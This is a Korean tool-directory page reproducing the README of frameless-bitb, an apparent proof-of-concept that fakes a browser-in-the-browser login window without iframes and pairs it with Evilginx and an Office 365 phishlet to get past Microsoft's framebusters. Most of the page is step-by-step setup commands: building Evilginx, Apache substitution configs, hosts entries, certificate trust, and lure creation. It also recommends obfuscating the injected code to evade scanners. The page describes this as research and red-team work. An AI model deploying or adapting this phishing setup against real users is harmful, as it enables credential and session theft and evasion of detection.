Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
frameless-bitb — iframe를 사용하지 않고 전통적인 framebuster(예: Microsoft 로그인 페이지)를 우회하고 Evilginx와 함께 사용할 수 있는 새로운 브라우저 내 브라우저(BITB) 접근 방식입니다. | Kitploit
도구/GitHubGitHub/waelmas/frameless-bitb
Phishing ToolsIDS/IPS EvasionWeb Application ExploitationPhishingSocial EngineeringLearning & Education
GitHubwaelmas/frameless-bitb

frameless-bitb

iframe를 사용하지 않고 전통적인 framebuster(예: Microsoft 로그인 페이지)를 우회하고 Evilginx와 함께 사용할 수 있는 새로운 브라우저 내 브라우저(BITB) 접근 방식입니다.

저장소 보기
45573452년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Frameless BITB

iframe을 사용하지 않는 새로운 브라우저 인 브라우저(BITB) 방식입니다. Microsoft와 같은 로그인 페이지에서 구현된 기존의 프레임 버스터를 우회할 수 있습니다.

이 POC 코드는 이 새로운 BITB를 Evilginx 및 Microsoft Enterprise 피싱릿과 함께 사용하기 위해 제작되었습니다.

Frameless-BITB-데모-압축

본격적으로 알아보기 전에, 제가 BSides 2023에서 이 개념을 처음 소개하고 "완벽한" 피싱 공격을 구성하는 방법에 대한 중요한 세부 정보를 다룬 발표를 먼저 확인하시길 권장합니다. ▶ 비디오 보기

☕︎ Buy Me A Coffee

비디오 튜토리얼: 👇

면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. iframe 기반이 아닌 브라우저 인 브라우저(BITB) 방식을 시연합니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다. 이 도구는 합법적이고 윤리적으로, 통제된 환경에서 사이버 보안 방어 테스트 목적으로만 사용하십시오. 이 도구를 사용함으로써 귀하는 책임감 있고 자신의 위험 부담으로 사용하는 데 동의하게 됩니다.

배경 이야기 - 이유

지난 1년 동안 저는 "완벽한" 피싱 공격을 구성하기 위해 다양한 트릭을 실험해 왔습니다. 사람들이 일반적으로 주의하도록 훈련받는 "전형적인 위험 신호"는 긴급성, 위협, 권위, 문법 오류 등입니다. 요즘 사람들이 다음으로 확인하는 것은 상호작용 중인 웹사이트의 링크/URL이며, 이메일 및 비밀번호와 같은 민감한 자격 증명을 입력하라는 요청을 받으면 매우 신중해집니다.

바로 여기서 브라우저 인 브라우저(BITB)가 등장했습니다. 원래 @mrd0x가 소개한 BITB는 공격자가 (iframe 내에서 악성 웹사이트를 제공하여) 콘텐츠를 제어하는 믿을 수 있는 브라우저 창의 외형을 만드는 개념입니다. 그러나 가짜 브라우저 창의 가짜 URL 표시줄은 사용자가 예상하는 합법적인 사이트로 설정됩니다. 이를 Evilginx와 같은 도구와 결합하면 믿을 수 있는 피싱 공격을 위한 완벽한 레시피가 됩니다.

문제는 지난 몇 달/몇 년 동안 Microsoft와 같은 주요 웹사이트가 "프레임 버스터/프레임 킬러"라는 다양한 작은 트릭을 구현했다는 것입니다. 이 트릭은 주로 Evilginx의 경우처럼 프록시된 웹사이트를 제공하는 데 사용될 수 있는 iframe을 차단하려고 시도합니다.

간단히 말해, Microsoft와 같은 웹사이트에 Evilginx + BITB는 더 이상 작동하지 않습니다. 적어도 iframe에 의존하는 BITB에서는 그렇습니다.

개념

iframe이 전혀 없는 브라우저 인 브라우저(BITB)! 그게 다입니다.

즉, 이제 Microsoft와 같은 웹사이트에서 Evilginx와 함께 BITB를 사용할 수 있습니다.

여기서 Evilginx는 단지 강력한 예시일 뿐이며, 동일한 개념은 다른 사용 사례에도 적용될 수 있습니다.

방법

프레임 버스터는 iframe을 특히 대상으로 하므로, 아이디어는 iframe을 사용하지 않고 프록시된 페이지의 원래 구조/콘텐츠를 방해하지 않으면서 BITB 효과를 만드는 것입니다. 검색 및 바꾸기(치환)를 통해 원본 콘텐츠 옆에 스크립트와 HTML을 주입한 다음, 전적으로 HTML/CSS/JS 트릭에 의존하여 시각적 효과를 만들면 됩니다. 또한 HTML의 "Shadow DOM"이라는 추가 트릭을 사용하여 랜딩 페이지(배경)의 콘텐츠가 프록시된 콘텐츠와 간섭하지 않도록 배치함으로써, 약간의 추가 JS 스크립트만으로 모든 랜딩 페이지를 유연하게 사용할 수 있습니다.

지침

비디오 튜토리얼

YouTube 플레이어 썸네일

https://youtu.be/luJjxpEwVHI

로컬 VM:

로컬 Linux VM을 생성합니다. (개인적으로 VMWare Player 또는 Parallels Desktop에서 Ubuntu 22 사용)

시스템 패키지 업데이트 및 업그레이드:

root@kitploit:~
sudo apt update && sudo apt upgrade -y

Evilginx 설정:

선택 사항:

새로운 evilginx 사용자를 생성하고, 사용자를 sudo 그룹에 추가:

sudo su

adduser evilginx

usermod -aG sudo evilginx

evilginx 사용자가 sudo 그룹에 있는지 확인:

su - evilginx

sudo ls -la /root

사용자 홈 디렉토리로 이동:

cd /home/evilginx

(모든 것을 로컬에서 실행 중이므로 sudo 사용자로도 수행 가능)

Evilginx 설정하기

Evilginx 다운로드 및 빌드: 공식 문서

Evilginx 파일을 /home/evilginx로 복사

Go 설치: 공식 문서

root@kitploit:~
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
root@kitploit:~
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
root@kitploit:~
nano ~/.profile

추가: export PATH=$PATH:/usr/local/go/bin

root@kitploit:~
source ~/.profile

확인:

root@kitploit:~
go version

make 설치:

root@kitploit:~
sudo apt install make

Evilginx 빌드:

root@kitploit:~
cd /home/evilginx/evilginx2
root@kitploit:~
make

Evilginx 빌드 및 피싱릿/리다이렉터를 위한 새 디렉토리 생성:

root@kitploit:~
mkdir /home/evilginx/evilginx

빌드, 피싱릿, 리다이렉터 복사:

root@kitploit:~
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Ubuntu 방화벽 빠른 수정 (@kgretzky 님 감사)

root@kitploit:~
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

Ubuntu에서 Failed to start nameserver on: :53 오류가 발생하면 다음 파일 수정 시도

root@kitploit:~
sudo nano /etc/systemd/resolved.conf

DNSStubListener를 no로 편집/추가 > DNSStubListener=no

그런 다음

root@kitploit:~
sudo systemctl restart systemd-resolved

Evilginx 설정 수정:

Apache2를 Evilginx 앞에서 사용할 예정이므로 Evilginx가 443이 아닌 다른 포트에서 수신하도록 설정해야 합니다.

root@kitploit:~
nano ~/.evilginx/config.json

https_port를 443에서 8443으로 변경

Apache2 설치 및 모드 활성화:

Apache2 설치:

root@kitploit:~
sudo apt install apache2 -y

사용할 Apache2 모드 활성화: (access_compat 모드는 때때로 문제를 일으키므로 비활성화)

root@kitploit:~
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Apache 시작 및 활성화:

root@kitploit:~
sudo systemctl start apache2
root@kitploit:~
sudo systemctl enable apache2

호스트 머신의 브라우저에서 VM의 IP를 방문하여 Apache 및 VM 네트워킹이 작동하는지 확인합니다.

이 저장소 복제:

git이 아직 설치되지 않은 경우 설치:

root@kitploit:~
sudo apt -y install git

이 저장소 복제:

root@kitploit:~
git clone https://github.com/waelmas/frameless-bitb
root@kitploit:~
cd frameless-bitb

Apache 사용자 정의 페이지:

제공할 페이지 디렉토리 생성:

  • home: (선택 사항) 홈페이지 (기본 도메인)
  • primary: 랜딩 페이지 (배경)
  • secondary: BITB 창 (전경)
root@kitploit:~
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

각 페이지 디렉토리 복사:

root@kitploit:~

sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

선택 사항: 기본 Apache 페이지 제거 (사용하지 않음):

root@kitploit:~
sudo rm -r /var/www/html/

O365 피싱릿을 피싱릿 디렉토리로 복사:

root@kitploit:~
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

선택 사항: Calendly 위젯을 제가 설정한 기본값 대신 자신의 계정을 사용하려면 pages/primary/script.js로 이동하여 CALENDLY_PAGE_NAME 및 CALENDLY_EVENT_TYPE을 변경하세요.

데모 난독화 참고: 워크스루 비디오에서 설명했듯이, BITB의 URL 및 제목과 같은 텍스트 콘텐츠에 대한 최소한의 난독화를 포함했습니다. 브라우저에서 demo-obfuscator.html을 열어 데모 난독화 도구를 실행할 수 있습니다. 실제 시나리오에서는 주입된 HTML 코드의 큰 덩어리를 난독화하거나 JS 트릭을 사용하여 탐지 및 플래그 지정을 방지하는 것을 적극 권장합니다. 현재 작업 중인 고급 버전은 고급 트릭을 조합하여 스캐너가 BITB 코드를 식별/탐지하는 것을 거의 불가능하게 만들 예정이니 계속 지켜봐 주세요.

자체 서명 SSL 인증서:

모든 것을 로컬에서 실행 중이므로 Apache에서 사용할 자체 서명 SSL 인증서를 생성해야 합니다. Evilginx는 개발자 모드로 실행할 예정이므로 인증서가 필요하지 않습니다.

로컬 VM을 가리키는 도메인 fake.com을 사용합니다. 다른 도메인을 사용하려면 모든 파일(Apache conf 파일, JS 파일 등)에서 도메인을 변경해야 합니다.

디렉토리 및 상위 디렉토리가 없으면 생성:

root@kitploit:~
sudo mkdir -p /etc/ssl/localcerts/fake.com/

OpenSSL 구성 파일을 사용하여 SSL 인증서 생성:

root@kitploit:~
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

개인 키 권한 수정:

root@kitploit:~
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Apache 사용자 정의 설정:

사용자 정의 치환 파일 복사 (이 접근 방식의 핵심):

root@kitploit:~
sudo cp -r ./custom-subs /etc/apache2/custom-subs

중요 참고: 이 저장소에는 Chrome on Mac 및 Chrome on Windows BITB용 2개의 치환 설정이 포함되어 있습니다. 둘 다 라이트/다크 모드 자동 감지 및 스타일링 기능이 있으며, 다른 브라우저/OS 조합에 대한 기본 템플릿 역할을 합니다. 피싱 페이지를 방문하는 데 사용된 브라우저/OS 조합의 자동 감지를 포함하지 않았으므로, 두 가지 중 하나를 사용하거나 자동 전환을 위한 자체 로직을 구현해야 합니다.

/apache-configs/ 아래의 두 설정 파일은 포함될 치환 파일에 사용된 Include 지시문만 다릅니다. (각 파일에 2개의 참조가 있습니다.)

root@kitploit:~
# 원하는 것을 주석 해제하고 변경 후 Apache를 다시 시작하는 것을 잊지 마세요:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

다음 단계를 쉽게 하기 위해 두 버전을 별도의 파일로 포함했습니다.

Windows/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Apache 설정 테스트하여 오류가 없는지 확인:

root@kitploit:~
sudo apache2ctl configtest

변경사항 적용을 위해 Apache 다시 시작:

root@kitploit:~
sudo systemctl restart apache2

호스트 파일 수정:

ifconfig를 사용하여 VM의 IP를 가져와 다음 단계를 위해 기록해 둡니다.

이제 호스트 파일에 새 항목을 추가하여 이 데모에서 사용된 도메인 fake.com과 모든 사용된 서브도메인이 Apache와 Evilginx가 실행 중인 VM을 가리키도록 해야 합니다.

Windows: 관리자 권한으로 메모장 열기 (검색 > 메모장 > 마우스 오른쪽 버튼 클릭 > 관리자 권한으로 실행) 파일 옵션 (왼쪽 상단)을 클릭하고 파일 탐색기 주소 표시줄에 다음을 복사하여 붙여넣습니다: C:\Windows\System32\drivers\etc\ 파일 형식 (오른쪽 아래)을 "모든 파일"로 변경합니다. hosts 파일을 더블클릭합니다.

Mac: 터미널을 열고 다음을 실행합니다:

root@kitploit:~
sudo nano /private/etc/hosts

이제 다음 레코드를 수정합니다 ([IP]를 VM의 IP로 교체)한 후 호스트 파일 끝에 붙여넣습니다:

root@kitploit:~
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section

저장하고 종료합니다.

다음 단계로 이동하기 전에 브라우저를 다시 시작합니다.

참고: Mac에서는 다음 명령어를 사용하여 DNS 캐시를 플러시합니다:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

중요 참고:

이 데모는 제공된 Office 365 Enterprise 피싱릿으로 제작되었습니다. 다른 피싱릿에 대해 추가해야 하는 호스트 항목을 얻으려면 phishlet get-hosts [PHISHLET_NAME]을 사용하되 127.0.0.1을 VM의 실제 로컬 IP로 바꾸는 것을 잊지 마세요.

자체 서명 SSL 인증서 신뢰:

자체 서명 SSL 인증서를 사용 중이므로 브라우저가 fake.com을 방문할 때마다 경고를 표시합니다. 따라서 호스트 머신이 SSL 인증서에 서명한 인증 기관을 신뢰하도록 설정해야 합니다.

이 단계는 비디오 지침을 따르는 것이 더 쉽지만, 여기에 요약을 제공합니다.

Chrome 브라우저에서 https://fake.com/을 엽니다.

안전하지 않은 사이트 경고를 무시하고 페이지로 계속 진행합니다.

SSL 아이콘 > 세부 정보 > 인증서 내보내기 클릭 중요: 저장할 때 Windows가 올바르게 열 수 있도록 이름이 반드시 .crt로 끝나야 합니다.

더블클릭 > 현재 사용자에 대해 설치. 자동 선택하지 말고 특정 저장소에 인증서 배치: "신뢰할 수 있는 루트 인증 기관" 선택.

Mac: 현재 사용자에 대해서만 설치 > "키체인: 로그인" 선택 그리고 "인증서 보기" 클릭 > 세부 정보 > 신뢰 > 항상 신뢰

이제 브라우저를 다시 시작하세요

이제 https://fake.com을 SSL 경고 없이 방문할 수 있어야 합니다.

Evilginx 실행:

이제 모든 것이 준비되었으므로 Evilginx를 시작하고, 피싱릿을 설정하고, 루어를 생성하고, 테스트할 차례입니다.

선택 사항: tmux 설치 (터미널 세션이 닫혀도 evilginx가 계속 실행되도록 함. 원격 VM에서 실행할 때 주로 유용)

root@kitploit:~
sudo apt install tmux -y

개발자 모드로 Evilginx 시작 (세션을 유지하기 위해 tmux 사용):

root@kitploit:~
tmux new-session -s evilginx
root@kitploit:~
cd ~/evilginx/
root@kitploit:~
./evilginx -developer

(tmux 세션에 다시 연결하려면 tmux attach-session -t evilginx 사용)

Evilginx 설정:

root@kitploit:~
config domain fake.com
root@kitploit:~
config ipv4 127.0.0.1

중요: Evilginx 블랙리스트 모드를 NoAdd로 설정하여 Apache가 블랙리스트에 추가되지 않도록 합니다. 모든 요청은 실제 방문자 IP가 아닌 Apache에서 오기 때문입니다.

root@kitploit:~
blacklist noadd

피싱릿 및 루어 설정:

root@kitploit:~
phishlets hostname O365 fake.com
root@kitploit:~
phishlets enable O365
root@kitploit:~
lures create O365
root@kitploit:~
lures get-url 0

루어 URL을 복사하여 브라우저에서 방문합니다 (Chrome에서 게스트 사용자를 사용하여 테스트 간 저장/캐시된 데이터를 삭제할 필요가 없도록 함).

유용한 자료

@mrd0x의 원본 iframe 기반 BITB: https://github.com/mrd0x/BITB

Evilginx 창시자 @kgretzky의 Evilginx 마스터리 코스: https://academy.breakdev.org/evilginx-mastery

BSides 2023 제 발표: https://www.youtube.com/watch?v=p1opa2wnRvg

Cloudflare 및 HTML 난독화를 사용하여 Evilginx 보호하는 방법: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

@BakkerJan의 Microsoft 365용 Evilginx 리소스: https://janbakker.tech/evilginx-resources-for-microsoft-365/

TODO

  • 대부분의 단계를 자동화하는 스크립트 생성
도구 다운로드